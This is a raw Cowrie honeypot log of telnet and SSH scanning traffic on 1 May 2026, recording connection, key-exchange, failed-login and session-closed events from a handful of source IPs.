{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46662,"dst_ip":"10.17.0.5","dst_port":23,"session":"80fa2bcf04b8","protocol":"telnet","message":"New connection: 104.167.8.156:46662 (10.17.0.5:23) [session: 80fa2bcf04b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.153743Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43180,"dst_ip":"10.17.0.5","dst_port":23,"session":"931b677c9975","protocol":"telnet","message":"New connection: 104.167.8.156:43180 (10.17.0.5:23) [session: 931b677c9975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.216850Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":57394,"dst_ip":"10.17.0.5","dst_port":22,"session":"e80a7a850157","protocol":"ssh","message":"New connection: 1.235.192.214:57394 (10.17.0.5:22) [session: e80a7a850157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.231809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.236657Z","src_ip":"1.235.192.214","session":"e80a7a850157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47148,"dst_ip":"10.17.0.5","dst_port":23,"session":"193d048f6843","protocol":"telnet","message":"New connection: 104.167.8.156:47148 (10.17.0.5:23) [session: 193d048f6843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.269502Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.428165Z","src_ip":"1.235.192.214","session":"e80a7a850157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.849711894989014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.474601Z","src_ip":"104.167.8.156","session":"4eaeeca2de5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.436342477798462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.670731Z","src_ip":"104.167.8.156","session":"48e675c6ec52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49482,"dst_ip":"10.17.0.5","dst_port":23,"session":"e764e7b0834e","protocol":"telnet","message":"New connection: 104.167.8.156:49482 (10.17.0.5:23) [session: e764e7b0834e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.839898Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50278,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf818bb4ded3","protocol":"telnet","message":"New connection: 104.167.8.156:50278 (10.17.0.5:23) [session: bf818bb4ded3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.028053Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46302,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ddc3dab0282","protocol":"telnet","message":"New connection: 104.167.8.156:46302 (10.17.0.5:23) [session: 4ddc3dab0282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.042845Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39126,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ee56ff2f036","protocol":"telnet","message":"New connection: 104.167.8.156:39126 (10.17.0.5:23) [session: 7ee56ff2f036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.140912Z"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test12345","message":"login attempt [test1/test12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.220459Z","src_ip":"1.235.192.214","session":"e80a7a850157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.982474088668823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.252691Z","src_ip":"104.167.8.156","session":"476fa54ea032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.98685622215271,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.311791Z","src_ip":"188.208.141.113","session":"304a0ab15c3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47858,"dst_ip":"10.17.0.5","dst_port":23,"session":"f043ca13ec00","protocol":"telnet","message":"New connection: 104.167.8.156:47858 (10.17.0.5:23) [session: f043ca13ec00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.448966Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47950,"dst_ip":"10.17.0.5","dst_port":23,"session":"39bf87d2db8c","protocol":"telnet","message":"New connection: 104.167.8.156:47950 (10.17.0.5:23) [session: 39bf87d2db8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.468858Z"}
{"eventid":"cowrie.session.closed","duration":120.00132131576538,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.546825Z","src_ip":"98.70.41.28","session":"09bf16271e6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.541380643844604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.591507Z","src_ip":"104.167.8.156","session":"5bbe9785ab0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53256,"dst_ip":"10.17.0.5","dst_port":23,"session":"b51635985f06","protocol":"telnet","message":"New connection: 104.167.8.156:53256 (10.17.0.5:23) [session: b51635985f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.791931Z"}
{"eventid":"cowrie.session.closed","duration":6.359454154968262,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:15.922866Z","src_ip":"188.208.141.113","session":"1718c20d3e61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54872,"dst_ip":"10.17.0.5","dst_port":23,"session":"04573dc7264e","protocol":"telnet","message":"New connection: 104.167.8.156:54872 (10.17.0.5:23) [session: 04573dc7264e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:16.188921Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:16.410720Z","src_ip":"1.235.192.214","session":"e80a7a850157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":37064,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad4da0c8c3dc","protocol":"telnet","message":"New connection: 98.70.41.28:37064 (159.203.135.109:23) [session: ad4da0c8c3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:16.434456Z"}
{"eventid":"cowrie.session.closed","duration":31.112942695617676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:16.501674Z","src_ip":"104.167.8.156","session":"23f27aaf54f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01726794242859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:16.919455Z","src_ip":"104.167.8.156","session":"066afa8d6b6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.365984439849854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:16.954497Z","src_ip":"108.61.251.217","session":"253ab3f3b905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.645461797714233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:16.960863Z","src_ip":"98.70.41.28","session":"9d7fd180f440","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":37076,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb6104268c4d","protocol":"telnet","message":"New connection: 98.70.41.28:37076 (159.203.135.109:23) [session: bb6104268c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:16.965952Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43896,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2c23bee9bc0","protocol":"telnet","message":"New connection: 188.208.141.113:43896 (10.17.0.5:23) [session: a2c23bee9bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:17.243270Z"}
{"eventid":"cowrie.session.closed","duration":30.95138168334961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:17.290797Z","src_ip":"104.167.8.156","session":"1f2ad4998945","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61209201812744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:17.527757Z","src_ip":"104.167.8.156","session":"c97d5807872c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":37070,"dst_ip":"159.203.135.109","dst_port":23,"session":"fccb806882fc","protocol":"telnet","message":"New connection: 98.70.41.28:37070 (159.203.135.109:23) [session: fccb806882fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:17.587351Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60036,"dst_ip":"10.17.0.5","dst_port":23,"session":"f840be37e548","protocol":"telnet","message":"New connection: 104.167.8.156:60036 (10.17.0.5:23) [session: f840be37e548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:17.615548Z"}
{"eventid":"cowrie.session.closed","duration":31.170238256454468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:17.688784Z","src_ip":"104.167.8.156","session":"f9ed37081489","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34600,"dst_ip":"10.17.0.5","dst_port":23,"session":"fac70ee648a9","protocol":"telnet","message":"New connection: 104.167.8.156:34600 (10.17.0.5:23) [session: fac70ee648a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:18.327904Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34756,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9dd7929f556","protocol":"telnet","message":"New connection: 104.167.8.156:34756 (10.17.0.5:23) [session: c9dd7929f556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:18.358688Z"}
{"eventid":"cowrie.session.closed","duration":31.110131978988647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:18.432503Z","src_ip":"104.167.8.156","session":"2925e19aa35a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59652,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0aecb24c5a6","protocol":"telnet","message":"New connection: 104.167.8.156:59652 (10.17.0.5:23) [session: c0aecb24c5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:18.509109Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35932,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a3cb1e1dfa4","protocol":"telnet","message":"New connection: 104.167.8.156:35932 (10.17.0.5:23) [session: 7a3cb1e1dfa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:18.630487Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36606,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9e3dc1e059b","protocol":"telnet","message":"New connection: 104.167.8.156:36606 (10.17.0.5:23) [session: a9e3dc1e059b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:18.787704Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36668,"dst_ip":"10.17.0.5","dst_port":23,"session":"34af303eaff1","protocol":"telnet","message":"New connection: 104.167.8.156:36668 (10.17.0.5:23) [session: 34af303eaff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:18.797972Z"}
{"eventid":"cowrie.session.closed","duration":31.283554553985596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:18.912409Z","src_ip":"104.167.8.156","session":"336995b983c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.185465097427368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:19.094529Z","src_ip":"104.167.8.156","session":"bdef72bf3bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35294,"dst_ip":"10.17.0.5","dst_port":23,"session":"82543f30a119","protocol":"telnet","message":"New connection: 104.167.8.156:35294 (10.17.0.5:23) [session: 82543f30a119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:19.488759Z"}
{"eventid":"cowrie.session.closed","duration":2.7997355461120605,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:20.042785Z","src_ip":"188.208.141.113","session":"a2c23bee9bc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38366,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6396b22f57","protocol":"telnet","message":"New connection: 104.167.8.156:38366 (10.17.0.5:23) [session: ca6396b22f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:20.244596Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":37078,"dst_ip":"159.203.135.109","dst_port":23,"session":"9537bdfdca83","protocol":"telnet","message":"New connection: 98.70.41.28:37078 (159.203.135.109:23) [session: 9537bdfdca83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:20.297224Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42754,"dst_ip":"10.17.0.5","dst_port":23,"session":"49cdccca191a","protocol":"telnet","message":"New connection: 104.167.8.156:42754 (10.17.0.5:23) [session: 49cdccca191a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:20.405744Z"}
{"eventid":"cowrie.session.closed","duration":31.120136499404907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:20.432784Z","src_ip":"104.167.8.156","session":"a8ad12099b62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24355912208557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:20.438068Z","src_ip":"104.167.8.156","session":"c18d8b90b9be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45641779899597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:20.524944Z","src_ip":"104.167.8.156","session":"da24757bc391","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.623498678207397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:20.658388Z","src_ip":"104.167.8.156","session":"27d695b749df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60764,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fb382ece66d","protocol":"telnet","message":"New connection: 104.167.8.156:60764 (10.17.0.5:23) [session: 8fb382ece66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:20.824981Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40768,"dst_ip":"10.17.0.5","dst_port":23,"session":"c43d0ebc74c1","protocol":"telnet","message":"New connection: 104.167.8.156:40768 (10.17.0.5:23) [session: c43d0ebc74c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:20.888720Z"}
{"eventid":"cowrie.session.closed","duration":30.81234645843506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:21.052469Z","src_ip":"104.167.8.156","session":"27d4e92d501a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865275621414185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:21.369163Z","src_ip":"104.167.8.156","session":"83cc61acd76b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00182867050171,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:21.406920Z","src_ip":"98.70.41.28","session":"04efa2dbb203","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35296,"dst_ip":"10.17.0.5","dst_port":23,"session":"df922a683430","protocol":"telnet","message":"New connection: 104.167.8.156:35296 (10.17.0.5:23) [session: df922a683430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:21.492850Z"}
{"eventid":"cowrie.session.closed","duration":31.44776463508606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:21.992022Z","src_ip":"104.167.8.156","session":"520f65fb1f51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33128833770752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:22.041036Z","src_ip":"104.167.8.156","session":"c9bd7816095e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635971784591675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:22.252054Z","src_ip":"104.167.8.156","session":"c3e8dba59285","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.387514114379883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:22.444305Z","src_ip":"104.167.8.156","session":"3d487e006ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50914,"dst_ip":"10.17.0.5","dst_port":23,"session":"16c9a89edd02","protocol":"telnet","message":"New connection: 104.167.8.156:50914 (10.17.0.5:23) [session: 16c9a89edd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:22.507850Z"}
{"eventid":"cowrie.session.closed","duration":30.833389282226562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:22.801503Z","src_ip":"104.167.8.156","session":"0cec71d8d219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.695605516433716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:22.806043Z","src_ip":"104.167.8.156","session":"4f08e3b59e95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54398,"dst_ip":"10.17.0.5","dst_port":23,"session":"589140cf9d84","protocol":"telnet","message":"New connection: 104.167.8.156:54398 (10.17.0.5:23) [session: 589140cf9d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:23.388679Z"}
{"eventid":"cowrie.session.closed","duration":31.118391752243042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:23.832732Z","src_ip":"104.167.8.156","session":"d6bed8dbf4d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73881983757019,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:24.035584Z","src_ip":"104.167.8.156","session":"08869ae76129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.586400032043457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:24.142773Z","src_ip":"104.167.8.156","session":"a82490c13977","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53574,"dst_ip":"10.17.0.5","dst_port":23,"session":"920d02da328f","protocol":"telnet","message":"New connection: 104.167.8.156:53574 (10.17.0.5:23) [session: 920d02da328f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:24.162289Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57216,"dst_ip":"10.17.0.5","dst_port":23,"session":"67ef75714421","protocol":"telnet","message":"New connection: 104.167.8.156:57216 (10.17.0.5:23) [session: 67ef75714421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:24.216898Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57646,"dst_ip":"10.17.0.5","dst_port":23,"session":"81bf278ab194","protocol":"telnet","message":"New connection: 104.167.8.156:57646 (10.17.0.5:23) [session: 81bf278ab194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:24.313508Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":48816,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c36f7fe431a","protocol":"telnet","message":"New connection: 98.70.41.28:48816 (159.203.135.109:23) [session: 2c36f7fe431a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:25.260275Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57460,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc4736e2999","protocol":"telnet","message":"New connection: 104.167.8.156:57460 (10.17.0.5:23) [session: 7dc4736e2999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:25.272765Z"}
{"eventid":"cowrie.session.closed","duration":120.00164365768433,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:25.413730Z","src_ip":"98.70.41.28","session":"add0e6276e97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663650512695312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:25.453493Z","src_ip":"104.167.8.156","session":"6de29d084578","protocol":"telnet"}
